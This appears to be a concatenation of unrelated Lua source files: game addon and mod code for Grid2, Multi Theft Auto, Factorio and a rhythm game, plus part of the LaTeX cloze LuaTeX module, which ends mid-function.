self:GetHighlightTexture():SetVertexColor(color.r, color.g, color.b, color.a)
else
self:SetHighlightTexture(nil)
end
-- Adjust indicators position to the new size
local indicators = Grid2:GetIndicatorsEnabled()
for i=1,#indicators do
indicators[i]:Layout(self)
end
end
function GridFramePrototype:UpdateIndicators()
local unit = self.unit
if unit then
local indicators = Grid2:GetIndicatorsEnabled()
for i=1,#indicators do
indicators[i]:Update(self, unit)
end
end
end
function GridFramePrototype:CreateIndicators()
local indicators = Grid2:GetIndicatorsSorted()
for i=1,#indicators do
indicators[i]:Create(self)
end
end
--}}}
--{{{ Grid2Frame
Grid2Frame = Grid2:NewModule("Grid2Frame")
Grid2Frame.defaultDB = {
profile = {
-- theme options ( active theme options in: self.db.profile, first theme options in: self.dba.profile, extra themes in: self.dba.profile.extraThemes[] )
frameHeight = 48,
frameWidth = 48,
frameBorder = 2,
frameBorderColor = {r=0, g=0, b=0, a=0},
frameBorderTexture = "Grid2 Flat",
frameBorderDistance= 1,
frameTexture = "Gradient",
frameColor = { r=0, g=0, b=0, a=1 },
frameContentColor= { r=0, g=0, b=0, a=1 },
mouseoverHighlight = false,
mouseoverColor = { r=1, g=1, b=1, a=1 },
mouseoverTexture = "Blizzard Quest Title Highlight",
frameWidths = {},
frameHeights = {},
-- default values for indicators
orientation = "VERTICAL",
barTexture = "Gradient",
font = nil,
fontSize = 11,
iconSize = 14,
-- profile options shared by all themes, but stored on default/first theme
blinkType = "Flash",
blinkFrequency = 2,
}
}
function Grid2Frame:OnModuleInitialize()
self.dba = self.db
self.db = { global = self.dba.global, profile = self.dba.profile, shared = self.dba.profile }
self.registeredFrames = {}
end
function Grid2Frame:OnModuleEnable()
if not Grid2.isClassic then
self:RegisterEvent("UNIT_ENTERED_VEHICLE")
self:RegisterEvent("UNIT_EXITED_VEHICLE")
end
self:RegisterEvent("PLAYER_ENTERING_WORLD", "UpdateFrameUnits")
self:RegisterMessage("Grid_UnitUpdate")
self:CreateIndicators()
self:RefreshIndicators()
self:LayoutFrames()
self:UpdateFrameUnits()
self:UpdateIndicators()
end
function Grid2Frame:OnModuleDisable()
if not Grid2.isClassic then
self:UnregisterEvent("UNIT_ENTERED_VEHICLE")
self:UnregisterEvent("UNIT_EXITED_VEHICLE")
end
self:UnregisterEvent("PLAYER_ENTERING_WORLD")
self:UnregisterMessage("Grid_UnitUpdate")
end
function Grid2Frame:OnModuleUpdate()
self:CreateIndicators()
self:RefreshTheme()
end
function Grid2Frame:UpdateTheme()
local themes = self.dba.profile.extraThemes
self.db.profile = themes and themes[Grid2.currentTheme] or self.dba.profile
self.db.shared = self.dba.profile
end
function Grid2Frame:RefreshTheme()
self:RefreshIndicators(true)
self:LayoutFrames()
self:UpdateIndicators()
end
-- wakeup/suspend indicators according to the current theme
function Grid2Frame:RefreshIndicators(update)
local _, _, suspended = Grid2:GetCurrentTheme()
for _,indicator in ipairs(Grid2.indicatorSorted) do
if not indicator.parentName then
local s1 = indicator.suspended
local s2 = suspended[indicator.name]
if s1~=s2 then
if s2 then
Grid2:SuspendIndicator(indicator)
else
Grid2:WakeUpIndicator(indicator)
end
elseif not s1 and update and indicator.UpdateDB then
indicator:UpdateDB()
end
end
end
end
function Grid2Frame:RegisterFrame(frame)
GridFrame_Init(frame, self:GetFrameSize())
self.registeredFrames[frame:GetName()] = frame
end
function Grid2Frame:CreateIndicators()
for _, frame in next, self.registeredFrames do
frame:CreateIndicators()
end
end
function Grid2Frame:UpdateIndicators()
for _, frame in next, self.registeredFrames do
frame:UpdateIndicators()
end
end
function Grid2Frame:UpdateBackdrop()
local dbx = self.db.profile
frameBackdrop = Grid2:GetBackdropTable( Grid2:MediaFetch("border", dbx.frameBorderTexture, "Grid2 Flat"), dbx.frameBorder, "Interface\\Addons\\Grid2\\media\\white16x16", true, 16 )
end
function Grid2Frame:LayoutFrames(notify)
self:UpdateBackdrop()
for name, frame in next, self.registeredFrames do
frame:Layout()
end
if notify then self:SendMessage("Grid_UpdateLayoutSize") end
end
function Grid2Frame:GetFrameSize()
local _, _, m = Grid2:GetGroupType()
local p = self.db.profile
return p.frameWidths[m] or p.frameWidth, p.frameHeights[m] or p.frameHeight
end
function Grid2Frame:SetFrameSize(w, h)
self.db.profile.frameWidth = w or self.db.profile.frameWidth
self.db.profile.frameHeight = h or self.db.profile.frameHeight
Grid2Layout:UpdateDisplay()
end
-- Grid2Frame:WithAllFrames()
do
local type, with = type, {}
with["table"] = function(self, object, func, ...)
if type(func) == "string" then func = object[func] end
for _, frame in next, self.registeredFrames do
func(object, frame, ...)
end
end
with["function"] = function(self, func, ...)
for _, frame in next, self.registeredFrames do
func(frame, ...)
end
end
function Grid2Frame:WithAllFrames( param , ... )
with[type(param)](self, param, ...)
end
end
-- Alow other modules to hook unit frames OnEnter, OnExit events
function Grid2Frame:SetEventHook( event, func, enabled )
eventHooks[event][func] = enabled or nil
end
-- Event handlers
function Grid2Frame:UpdateFrameUnits()
for _, frame in next, self.registeredFrames do
local old_unit = frame.unit
local unit = SecureButton_GetModifiedUnit(frame)
if old_unit ~= unit then
Grid2:SetFrameUnit(frame, unit)
frame.unit = unit
frame:UpdateIndicators()
end
end
end
function Grid2Frame:UNIT_ENTERED_VEHICLE(_, unit)
for frame in next, Grid2:GetUnitFrames(unit) do
local old, new = frame.unit, SecureButton_GetModifiedUnit(frame)
if old ~= new then
Grid2:SetFrameUnit(frame, new)
frame.unit = new
frame:UpdateIndicators()
end
end
end
function Grid2Frame:UNIT_EXITED_VEHICLE(_, unit)
local pet = Grid2:GetPetUnitByUnit(unit) or unit
for frame in next, Grid2:GetUnitFrames(pet) do
local old, new = frame.unit, SecureButton_GetModifiedUnit(frame)
if old ~= new then
Grid2:SetFrameUnit(frame, new)
frame.unit = new
frame:UpdateIndicators()
end
end
end
function Grid2Frame:Grid_UnitUpdate(_, unit)
for frame in next, Grid2:GetUnitFrames(unit) do
local old, new = frame.unit, SecureButton_GetModifiedUnit(frame)
if old ~= new then
Grid2:SetFrameUnit(frame, new)
frame.unit = new
end
frame:UpdateIndicators()
end
end
--}}}
_G.Grid2Frame = Grid2Frame
-- Allow other modules/addons to easily modify the grid unit frames
Grid2Frame.Prototype = GridFramePrototype
-- Allow other modules to access the variable for speed optimization
Grid2.frames_of_unit = frames_of_unit
|
function Mob.vanish(mob)
local pc = mob:getObjectsInArea(BL_PC)
mob.look = 433
for i = 1, #pc do
pc[i]:updateState()
end
mob:delete()
end
function Mob.vanish2(mob)
local pc = mob:getObjectsInArea(BL_PC)
mob.look = 433
for i = 1, #pc do
pc[i]:updateState()
end
mob:removeHealthWithoutDamageNumbers(mob.maxHealth)
end
function Mob.canPK(player, target)
return true
end
|
-- Normalizes a bearing to (-180, 180].
function NormalizeBearing(Bearing)
Bearing = Bearing % 360
if Bearing > 180 then Bearing = Bearing - 360 end
return Bearing
end
|
local function runString (commandstring)
-- some stuff we might need
vehicle = getPedOccupiedVehicle(getLocalPlayer()) or getPedContactElement(getLocalPlayer())
car = vehicle
p = getPlayerFromName
c = getPedOccupiedVehicle
set = setElementData
get = getElementData
outputChatBoxR("Executing client-side command: "..commandstring)
local notReturned
--First we test with return
local commandFunction,errorMsg = loadstring("return "..commandstring)
if errorMsg then
--It failed. Lets try without "return"
notReturned = true
commandFunction, errorMsg = loadstring(commandstring)
end
if errorMsg then
--It still failed. Print the error message and stop the function
outputChatBoxR("Error: "..errorMsg)
return
end
--Finally, lets execute our function
results = { pcall(commandFunction) }
if not results[1] then
--It failed.
outputChatBoxR("Error: "..results[2])
return
end
if not notReturned then
local resultsString = ""
local first = true
for i = 2, #results do
if first then
first = false
else
resultsString = resultsString..", "
end
local resultType = type(results[i])
if isElement(results[i]) then
resultType = "element:"..getElementType(results[i])
end
resultsString = resultsString..tostring(results[i]).." ["..resultType.."]"
end
outputChatBoxR("Command results: "..resultsString)
elseif not errorMsg then
outputChatBoxR("Command executed!")
end
end
addEvent("doCrun", true)
addEventHandler("doCrun", getRootElement(), runString)
local function loadScripts()
if exports.global:isPlayerScripter(getLocalPlayer()) then
setElementData( getLocalPlayer(), "runcode:hideoutput", true )
local client = xmlLoadFile( "autoload.lua" )
if client then
local children = xmlNodeGetChildren( client )
if children then
for k, v in ipairs( children ) do
if xmlNodeGetName( v ) == "c" then
triggerEvent("doCrun", getLocalPlayer(), xmlNodeGetValue( v ))
elseif xmlNodeGetName( v ) == "s" then
triggerServerEvent("doSrun", getLocalPlayer(), xmlNodeGetValue( v ))
elseif xmlNodeGetName( v ) == "f" then
injectScript( xmlNodeGetValue( v ) )
end
end
end
end
setElementData( getLocalPlayer(), "runcode:hideoutput", false )
end
end
addEvent("runcode:loadScripts", true)
addEventHandler("runcode:loadScripts", getLocalPlayer(), loadScripts)
addEventHandler("onClientResourceStart", getResourceRootElement(), loadScripts)
|
--data.raw.recipe["chromium-synthesis"].enabled = false
data:extend({
{
type = "technology",
name = "chromium-synthesis",
icon_size = 128,
icons = {
{ icon = get_icon_path("advanced-cracking-background",DIR.icon_size), icon_size = DIR.icon_size},
{ icon = get_icon_path("chromium-pure",DIR.icon_size), icon_size = DIR.icon_size, scale = 0.6}
},
effects =
{
{
type = "unlock-recipe",
recipe = "chromium-synthesis",
},
},
prerequisites = {"space-science-pack"},
unit =
{
count = 1500,
ingredients =
{
{"automation-science-pack", 1},
{"logistic-science-pack", 1},
{"chemical-science-pack", 1},
{"production-science-pack", 1},
{"utility-science-pack", 1},
{"space-science-pack", 1}
},
time = 10,
}
},
{
name = "chromium-synthesis",
type = "recipe",
category = "chemistry",
enabled = false,
energy_required = 12,
icons = {
{ icon = get_icon_path("advanced-cracking-background",DIR.icon_size), icon_size = DIR.icon_size},
{ icon = get_icon_path("chromium-pure",DIR.icon_size), icon_size = DIR.icon_size, scale = 0.4},
},
--crafting_machine_tint = data.raw.recipe["heavy-oil-cracking"].crafting_machine_tint,
ingredients = {
{
name = "sulfuric-acid",
amount = 30,
type = "fluid"
},
{
name = "iron-pure",
amount = 4,
type = "item",
},
{
name = "gold-pure",
amount = 2,
type = "item",
},
{
name = "platinum-pure",
amount = 1,
type = "item",
catalyst_amount = 1,
},
},
results = {
{
name = "chromium-pure",
amount = 1,
probability = 0.90,
type = "item",
},
{
name = "platinum-pure",
amount = 1,
probability = 0.99,
type = "item",
catalyst_amount = 1,
},
},
emissions_multiplier = 2,
allow_decomposition = false,
main_product = "",
subgroup = "fluid-recipes",
order = "h",
}
})
|
--function update (elapsed)
--print("THE FUCKING Y COORDINATE IS " .. _G['defaultStrum0Y'])
--end
function beatHit (beat)
-- if beat == 64 or beat == 96 or beat == 192 or beat == 256 or beat == 288 then
-- if difficulty == 1 then healthDrain(4, 11.64)
-- else healthDrain(2.5, 11.64)
-- end
-- end
-- GUYS IM SORRY I FORGOT TO ADD DOWNSCROLL SUPPORT ON RELEASE AUHSDWHDDEYGDSGG QwQ
if (beat > 159 and beat < 220) or (beat > 255 and beat < 320) then
if difficulty == 1 then
if beat - math.floor(beat/4)*4 == 1 then -- simply beat % 4 == 1
for i = 0, 7 do
tweenPos(i, _G['defaultStrum'..i..'X'] - 20, _G['defaultStrum'..i..'Y'] + 10, 0.1)
end
end
if beat - math.floor(beat/4)*4 == 3 then -- simply beat % 4 == 3
for i = 0, 7 do
tweenPos(i, _G['defaultStrum'..i..'X'] + 20, _G['defaultStrum'..i..'Y'] + 10, 0.1)
end
end
else
if beat - math.floor(beat/4)*4 == 1 then -- simply beat % 4 == 1
for i = 0, 7 do
tweenPos(i, _G['defaultStrum'..i..'X'] - 7, _G['defaultStrum'..i..'Y'] + 10, 0.1)
end
end
if beat - math.floor(beat/4)*4 == 3 then -- simply beat % 4 == 3
for i = 0, 7 do
tweenPos(i, _G['defaultStrum'..i..'X'] + 7, _G['defaultStrum'..i..'Y'] + 10, 0.1)
end
end
end
end
end
|
pg = pg or {}
pg.Protocol = class("Protocol")
pg.Protocol.Ctor = function (slot0, slot1, slot2, slot3)
slot0._id = slot1
slot0._name = slot2
slot0._object = slot3
end
pg.Protocol.GetMessage = function (slot0)
return slot0._object[slot0._name]()
end
pg.Protocol.GetId = function (slot0)
return slot0._id
end
pg.Protocol.GetName = function (slot0)
return slot0._name
end
return
|
--- Cloze uses [LDoc](https://github.com/stevedonovan/ldoc) for the
-- source code documentation. The supported tags are described on in
-- the [wiki](https://github.com/stevedonovan/LDoc/wiki).
--
-- <h3>Naming conventions</h3>
--
-- * _Variable_ names for _nodes_ are suffixed with `_node`, for example
-- `head_node`.
-- * _Variable_ names for _lengths_ (dimensions) are suffixed with
-- `_length`, for example `width`.
--
-- @module cloze
-- luacheck: globals node tex modules luatexbase callback
-- __cloze.lua__
-- __Initialisation of the function tables__
-- It is good form to provide some background informations about this Lua
-- module.
if not modules then modules = { } end modules ['cloze'] = {
version = '1.6',
comment = 'cloze',
author = 'Josef Friedrich, R.-M. Huber',
copyright = 'Josef Friedrich, R.-M. Huber',
license = 'The LaTeX Project Public License Version 1.3c 2008-05-04'
}
local lpeg = require('lpeg')
--- See [lpeg.P](http://www.inf.puc-rio.br/~roberto/lpeg#op-p)
--
-- Like `"literal"` in peg.js.
local Pattern = lpeg.P
--- See [lpeg.R](http://www.inf.puc-rio.br/~roberto/lpeg#op-r)
--
-- Like `[a-z]` in peg.js.
local Range = lpeg.R
--- See [lpeg.S](http://www.inf.puc-rio.br/~roberto/lpeg#op-s)
--
-- Like `[characters]` in peg.js.
local Set = lpeg.S
--- See [lpeg.C](http://www.inf.puc-rio.br/~roberto/lpeg#cap-c)
local capture = lpeg.C
--- See [lpeg.Ct](http://www.inf.puc-rio.br/~roberto/lpeg#cap-t)
local capture_table = lpeg.Ct
--- See [lpeg.Cf](http://www.inf.puc-rio.br/~roberto/lpeg#cap-f)
local capture_fold = lpeg.Cf
--- See [lpeg.Cg](http://www.inf.puc-rio.br/~roberto/lpeg#cap-g)
local capture_group = lpeg.Cg
--- See [lpeg.Cg](http://www.inf.puc-rio.br/~roberto/lpeg#cap-cc)
local capture_constant = lpeg.Cc
--- A naive key value parser written with Lpeg to get rid of kvoptions.
--
-- * `patt^0` = `expression *` (peg.js)
-- * `patt^1` = `expression +` (peg.js)
-- * `patt^-1` = `expression ?` (peg.js)
-- * `patt1 * patt2` = `expression1 expression2` (peg.js) -> Sequence
-- * `patt1 + patt2` = `expression1 / expression2` (peg.js) -> Ordered choice
--
-- * [TUGboat article: Parsing complex data formats in LuaTEX with LPEG](https://tug.org/TUGboat/tb40-2/tb125menke-lpeg.pdf)
-- * [Dimension handling in lualibs](https://github.com/lualatex/lualibs/blob/master/lualibs-util-dim.lua)
--
-- @tparam string input The key value options in a unparsed fashion as a
-- string.
--
-- @treturn table The key value options as a table.
local function key_value_parser(input)
local white_space = Set(' \t\r\n')^0
--- Define data type boolean.
--
-- @return Lpeg patterns
local function data_type_boolean ()
local boolean_true = (
Pattern('true') +
Pattern('TRUE') +
Pattern('yes') +
Pattern('YES')
) * capture_constant(true)
local boolean_false = (
Pattern('false') +
Pattern('FALSE') +
Pattern('no') +
Pattern('NO')
) * capture_constant(false)
return boolean_true + boolean_false
end
--- Define data type integer.
--
-- @return Lpeg patterns
local function data_type_integer()
-- patt / function
-- Creates a function capture. It calls the given function passing
-- all captures made b nby patt as arguments, or the whole match if
-- patt made no capture. The values returned by the function are the
-- final values of the capture. In particular, if function returns
-- no value, there is no captured value
return Range('09')^1 / tonumber
end
--- Define data type dimension.
--
-- @return Lpeg patterns
local function data_type_dimension()
local sign = Set('-+')
local integer = Range('09')^1
local number = integer^1 * Pattern('.')^0 * integer^0
local unit =
Pattern('pt') +
Pattern('cm') +
Pattern('mm') +
Pattern('sp') +
Pattern('bp') +
Pattern('in') +
Pattern('pc') +
Pattern('dd') +
Pattern('cc')
-- patt / function -> function capture
return (sign^0 * number * unit) / tex.sp
end
--- Define data type string.
--
-- @return Lpeg patterns
local data_type_string = function()
return capture(Range('az', 'AZ', '09')^1)
end
local data_type = {
boolean = data_type_boolean(),
integer = data_type_integer(),
dimension = data_type_dimension(),
string = data_type_string(),
}
local minimun_lines =
(Pattern('minimumlines') + Pattern('minlines')) *
capture_constant('minimum lines')
local generic_key = capture(Range('az')^1)
local key =
white_space *
(minimun_lines + generic_key) *
white_space
local value =
white_space *
(data_type.dimension + data_type.integer + data_type.boolean + data_type.string) *
white_space
-- For example: hide -> hide = true
local key_only =
key *
capture_constant(true)
local key_value =
key *
Pattern('=') *
value
local keyval_groups = capture_group(
(key_value + key_only) *
Pattern(',')^-1
)
-- rawset (table, index, value)
-- Sets the real value of table[index] to value, without invoking the
-- __newindex metamethod. table must be a table, index any value
-- different from nil and NaN, and value any Lua value.
local kvlist = capture_fold(capture_table('') * keyval_groups^0, rawset)
return kvlist:match(input)
end
--- `nodex` is a abbreviation for __node eXtended__.
local nodex = {}
--- All values and functions, which are related to the option
-- management, are stored in a table called `registry`.
local registry = {}
--- I didn’t know what value I should take as `user_id`. Therefore I
-- took my birthday and transformed it into a large number.
registry.user_id = 3121978
--- Store all local options of the markers.
--
-- <code><pre>
-- registry.storage = {
-- {
-- mode = "basic",
-- position = "start",
-- values = {
-- distance = "3mm"
-- }
-- },
-- {
-- mode = "basic",
-- position = "stop"
-- }
-- }</pre></code>
registry.storage = {}
--- The default options.
registry.defaults = {
['align'] = 'l',
['boxheight'] = false,
['boxrule'] = '0.4pt',
['boxwidth'] = '\\linewidth',
['distance'] = '1.5pt',
['hide'] = false,
['linecolor_name'] = 'black',
['linecolor'] = '0 0 0 rg 0 0 0 RG', -- black
['margin'] = '3pt',
['minlines'] = 0,
['resetcolor_name'] = 'black',
['resetcolor'] = '0 0 0 rg 0 0 0 RG', -- black
['show_text'] = true,
['show'] = true,
['spacing'] = '1.6',
['textcolor_name'] = 'blue', -- blue
['textcolor'] = '0 0 1 rg 0 0 1 RG', -- blue
['thickness'] = '0.4pt',
['width'] = '2cm',
}
--- The global options set by the user.
registry.global_options = {}
--- The local options.
registry.local_options = {}
--- Node precessing (nodex)
-- @section nodex
-- All functions in this section are stored in a table called `nodex`.
-- `nodex` is a abbreviation for __node eXtended__. The `nodex` table
-- bundles all functions, which extend the built-in `node` library.
-- __Color handling (color)__
-- __create_colorstack__
-- Create a whatsit node of the subtype `pdf_colorstack`. `data` is a PDF
-- colorstack string like `0 0 0 rg 0 0 0 RG`.
function nodex.create_colorstack(data)
if not data then
data = '0 0 0 rg 0 0 0 RG' -- black
end
local whatsit = node.new('whatsit', 'pdf_colorstack')
whatsit.stack = 0
whatsit.data = data
return whatsit
end
---
-- `nodex.create_color()` is a wrapper for the function
-- `nodex.create_colorstack()`. It queries the current values of the
-- options `linecolor` and `textcolor`. The argument `option` accepts the
-- strings `line`, `text` and `reset`.
function nodex.create_color(option)
local data
if option == 'line' then
data = registry.get_value('linecolor')
elseif option == 'text' then
data = registry.get_value('textcolor')
elseif option == 'reset' then
data = nil
else
data = nil
end
return nodex.create_colorstack(data)
end
-- __Line handling (line)__
--- Create a rule node, which is used as a line for the cloze texts. The
-- `depth` and the `height` of the rule are calculated form the options
-- `thickness` and `distance`. The argument `width` must have the length
-- unit __scaled points__.
function nodex.create_line(width)
local rule = node.new(node.id('rule'))
local thickness = tex.sp(registry.get_value('thickness'))
local distance = tex.sp(registry.get_value('distance'))
rule.depth = distance + thickness
rule.height = - distance
rule.width = width
return rule
end
--- Insert a `list` of nodes after or before the `current`. The `head`
-- argument is optional. In some edge cases it is unfortately necessary.
-- if `head` is omitted the `current` node is used. The argument
-- `position` can take the values `'after'` or `'before'`.
function nodex.insert_list(position, current, list, head_node)
if not head_node then
head_node = current
end
for _, insert in ipairs(list) do
if position == 'after' then
head_node, current = node.insert_after(head_node, current, insert)
elseif position == 'before' then
head_node, current = node.insert_before(head_node, current, insert)
end
end
return current
end
--- Enclose a rule node (cloze line) with two PDF colorstack whatsits.
-- The first colorstack node dyes the line, the seccond resets the
-- color.
--
-- __Node list__
--
-- <table>
-- <thead>
-- <tr>
-- <th>`color_line_node`</th>
-- <th>`whatsit`</th>
-- <th>`pdf_colorstack`</th>
-- <th>Line color</th>
-- </tr>
-- </thead>
-- <tbody>
-- <tr>
-- <td>`line_node`</td>
-- <td>`rule`</td>
-- <td></td>
-- <td>`width`</td>
-- </tr>
-- <tr>
-- <td>`color_reset_node`</td>
-- <td>`whatsit`</td>
-- <td>`pdf_colorstack`</td>
-- <td>Reset color</td>
-- </tr>
-- </tbody>
-- </table>
function nodex.insert_line(current, width)
return nodex.insert_list(
'after',
current,
{
nodex.create_color('line'),
nodex.create_line(width),
nodex.create_color('reset')
}
)
end
--- This function enclozes a rule node with color nodes as it the
-- function `nodex.insert_line` does. In contrast to
-- `nodex.insert_line` the three nodes are appended to TeX’s ‘current
-- list’. They are not inserted in a node list, which is accessed by a
-- Lua callback.
--
-- __Node list__
--
-- <table>
-- <thead>
-- <tr>
-- <th>-</th>
-- <th>`whatsit`</th>
-- <th>`pdf_colorstack`</th>
-- <th>Line color</th>
-- </tr>
-- </thead>
-- <tbody>
-- <tr>
-- <td>-</td>
-- <td>`rule`</td>
-- <td></td>
-- <td>`width`</td>
-- </tr>
-- <tr>
-- <td>-</td>
-- <td>`whatsit`</td>
-- <td>`pdf_colorstack`</td>
-- <td>Reset color</td>
-- </tr>
-- </tbody>
-- </table>
local function write_line_nodes()
node.write(nodex.create_color('line'))
node.write(nodex.create_line(tex.sp(registry.get_value('width'))))
node.write(nodex.create_color('reset'))
end
-- __Handling of extendable lines (linefil)__
--- This function creates a line which stretchs indefinitely in the
-- horizontal direction.
function nodex.create_linefil()
local glue = node.new('glue')
glue.subtype = 100
glue.stretch = 65536
glue.stretch_order = 3
local rule = nodex.create_line(0)
rule.dir = 'TLT'
glue.leader = rule
return glue
end
--- Surround a indefinitely strechable line with color whatsits and puts
-- it to TeX’s ‘current (node) list’ (write).
local function write_linefil_nodes()
node.write(nodex.create_color('line'))
node.write(nodex.create_linefil())
node.write(nodex.create_color('reset'))
end
-- __Kern handling (kern)__
--- This function creates a kern node with a given width. The argument
-- `width` had to be specified in scaled points.
local function create_kern_node(width)
local kern_node = node.new(node.id('kern'))
kern_node.kern = width
return kern_node
end
--- Add at the beginning of each `hlist` node list a strut (a invisible
-- character).
--
-- Now we can add line, color etc. nodes after the first node of a hlist
-- not before - after is much more easier.
--
-- @tparam node hlist_node
--
-- @treturn node hlist_node
-- @treturn node strut_node
-- @treturn node prev_head_node
local function insert_strut_into_hlist(hlist_node)
local prev_head_node = hlist_node.head
local kern_node = create_kern_node(0)
local strut_node = node.insert_before(hlist_node.head, prev_head_node, kern_node)
hlist_node.head = prev_head_node.prev
return hlist_node, strut_node, prev_head_node
end
--- Write a kern node to the current node list. This kern node can be
-- used to build a margin.
function write_margin_node()
node.write(create_kern_node(tex.sp(registry.get_value('margin'))))
end
--- Search for a `hlist` (subtype `line`) and nsert a strut node into
-- the list if a hlist is found.
--
-- @tparam node head_node The head of a node list.
--
-- @treturn node hlist_node
-- @treturn node strut_node
-- @treturn node prev_head_node
local function search_hlist(head_node)
while head_node do
if head_node.id == node.id('hlist') and head_node.subtype == 1 then
return insert_strut_into_hlist(head_node)
end
head_node = head_node.next
end
end
--- Option handling.
--
-- The table `registry` bundles functions that deal with the option
-- handling.
--
-- <h2>Marker processing (marker)</h2>
--
-- A marker is a whatsit node of the subtype `user_defined`. A marker
-- has two purposes:
--
-- * Mark the begin and the end of a gap.
-- * Store a index number, that points to a Lua table, which holds some
-- additional data like the local options.
--
-- @section registry
--- We create a user defined whatsit node that can store a number (type
-- = 100).
--
-- In order to distinguish this node from other user defined whatsit
-- nodes we set the `user_id` to a large number. We call this whatsit
-- node a marker. The argument `index` is a number, which is associated
-- to values in the `registry.storage` table.
function registry.create_marker(index)
local marker = node.new('whatsit', 'user_defined')
marker.type = 100 -- number
marker.user_id = registry.user_id
marker.value = index
return marker
end
--- Write a marker node to TeX's current node list.
--
-- The argument `mode` accepts the string values `basic`, `fix` and
-- `par`. The argument `position`. The argument `position` is either set
-- to `start` or to `stop`.
function registry.write_marker(mode, position)
local index = registry.set_storage(mode, position)
local marker = registry.create_marker(index)
node.write(marker)
end
--- This functions checks if the given node `item` is a marker.
function registry.is_marker(item)
if item.id == node.id('whatsit')
and item.subtype == node.subtype('user_defined')
and item.user_id == registry.user_id then
return true
end
return false
end
--- This functions tests, whether the given node `item` is a marker.
--
-- @tparam node head_node The current node.
-- @tparam string mode The argument `mode` accepts the string values
-- `basic`, `fix` and `par`.
-- @tparam string position The argument `position` is either set
-- to `start` or to `stop`.
function registry.check_marker(head_node, mode, position)
local data = registry.get_marker_data(head_node)
if data and data.mode == mode and data.position == position then
return true
end
return false
end
--- `registry.get_marker` returns the given marker.
--
-- @tparam node head_node The current node.
-- @tparam string mode The argument `mode` accepts the string values
-- `basic`, `fix` and `par`.
-- @tparam string position The argument `position` is either set
-- to `start` or to `stop`.
--
-- @treturn mixed The node if `head_node` is a marker node.
function registry.get_marker(head_node, mode, position)
local out
if registry.check_marker(head_node, mode, position) then
out = head_node
else
out = false
end
if out and position == 'start' then
registry.get_marker_values(head_node)
end
return out
end
--- Test whether the node `item` is a marker and retrieve the
-- the corresponding registry data.
--
-- @tparam node item The argument `item` is a node of unspecified type.
--
-- @treturn table The marker data.
function registry.get_marker_data(item)
if item.id == node.id('whatsit') and
item.subtype == node.subtype('user_defined') and
item.user_id == registry.user_id then
return registry.get_storage(item.value)
else
return false
end
end
--- First this function saves the associatied values of a marker to the
-- local options table. Second it returns this values. The argument
-- `marker` is a whatsit node.
function registry.get_marker_values(marker)
local data = registry.get_marker_data(marker)
registry.local_options = data.values
return data.values
end
--- This function removes a given whatsit marker.
--
-- It only deletes a node, if a marker is given.
--
-- @treturn node head
-- @treturn node current
function registry.remove_marker(marker)
if registry.is_marker(marker) then
return node.remove(marker, marker)
end
end
-- __Storage functions (storage)__
--- `registry.index` is a counter. The functions `registry.get_index()`
-- increases the counter by one and then returns it.
--
-- @treturn int The index number of the corresponding table in
-- `registry.storage`.
function registry.get_index()
if not registry.index then
registry.index = 0
end
registry.index = registry.index + 1
return registry.index
end
--- `registry.set_storage()` stores the local options in the Lua table
-- `registry.storage`.
--
-- It returns a numeric index number. This index number is the key,
-- where the local options in the Lua table are stored.
--
-- @tparam string mode The argument `mode` accepts the string values
-- `basic`, `fix` and `par`.
-- @tparam string position The argument `position` is either set
-- to `start` or to `stop`.
--
-- @treturn int The index number of the corresponding table in
-- `registry.storage`.
function registry.set_storage(mode, position)
local index = registry.get_index()
local data = {
['mode'] = mode,
['position'] = position
}
if position == 'start' then
data.values = {}
for key, value in pairs(registry.local_options) do
data.values[key] = value
end
end
registry.storage[index] = data
return index
end
--- The function `registry.get_storage()` retrieves values which belong
-- to a whatsit marker.
--
-- The argument `index` is a numeric value.
function registry.get_storage(index)
return registry.storage[index]
end
-- __Option processing (option)__
--- This function stores a value `value` and his associated key `key`
-- either to the global (`registry.global_options`) or to the local
-- (`registry.local_options`) option table.
--
-- The global boolean variable `registry.local_options` controls in
-- which table the values are stored.
--
-- @tparam string key The option key.
-- @tparam mixed value The value that is stored under the options key.
function registry.set_option(key, value)
if value == '' or value == '\\color@ ' then
return false
end
if registry.is_global == true then
registry.global_options[key] = value
else
registry.local_options[key] = value
end
end
--- Set the variable `registry.is_global`.
--
-- @tparam boolean is_global
function registry.set_is_global(is_global)
registry.is_global = is_global
end
--- This function unsets the local options.
function registry.unset_local_options()
registry.local_options = {}
end
--- `registry.unset_global_options` empties the global options storage.
function registry.unset_global_options()
registry.global_options = {}
end
--- Retrieve a value from a given key. First search for the value in the
-- local options, then in the global options. If both option storages are
-- empty, the default value will be returned.
--
-- @tparam string key The name of the options key.
--
-- @treturn mixed The value of the corresponding option key.
function registry.get_value(key)
if registry.has_value(registry.local_options[key]) then
return registry.local_options[key]
end
if registry.has_value(registry.global_options[key]) then
return registry.global_options[key]
end
return registry.defaults[key]
end
--- The function `registry.get_value_show()` returns the boolean value
-- `true` if the option `show` is true. In contrast to the function
-- `registry.get_value()` it converts the string value `true' to a
-- boolean value.
function registry.get_value_show()
if
registry.get_value('show') == true
or
registry.get_value('show') == 'true'
then
return true
else
return false
end
end
--- This function tests whether the value `value` is not empty and has a
-- value.
--
-- @tparam mixed value A value of different types.
--
-- @treturn boolean True is the value is set otherwise false.
function registry.has_value(value)
if value == nil or value == '' or value == '\\color@ ' then
return false
else
return true
end
end
--- Return the default value of the given option.
--
-- @tparam string key The name of the options key.
--
-- @treturn mixed The corresponding value of the options key.
function registry.get_defaults(key)
return registry.defaults[key]
end
--- Assembly to cloze texts.
-- @section cloze_functions
--- Assemble a possibly multiline cloze.
--
-- The corresponding LaTeX command to this Lua function is `\cloze`.
-- This function is used by other cloze TeX macros too: `\clozenol`,
-- `\clozefil`
--
-- @tparam node head_node_input The head of a node list.
--
-- @treturn node The head of the node list.
local function make_basic(head_node_input)
-- This local variables are overloaded by function who
-- call each other.
local continue_cloze, search_stop
--- The function `make_single()` makes one gap. The argument
-- `start_node` is the node where the gap begins. The argument
-- `stop_node` is the node where the gap ends.
--
-- @tparam node start_node The node to start / begin a new cloze.
-- @tparam node stop_node The node to stop / end a new cloze.
-- @tparam node parent_node The parent node (hlist) of the start and
-- the stop node.
--
-- @treturn node stop_node The stop node.
-- @treturn parent_node The parent node (hlist) of the stop node.
local function make_single(start_node, stop_node, parent_node)
local node_head = start_node
local line_width = node.dimensions(
parent_node.glue_set,
parent_node.glue_sign,
parent_node.glue_order,
start_node,
stop_node
)
local line_node = nodex.insert_line(start_node, line_width)
local color_text_node = nodex.insert_list('after', line_node, {nodex.create_color('text')})
if registry.get_value_show() then
nodex.insert_list('after', color_text_node, {create_kern_node(-line_width)})
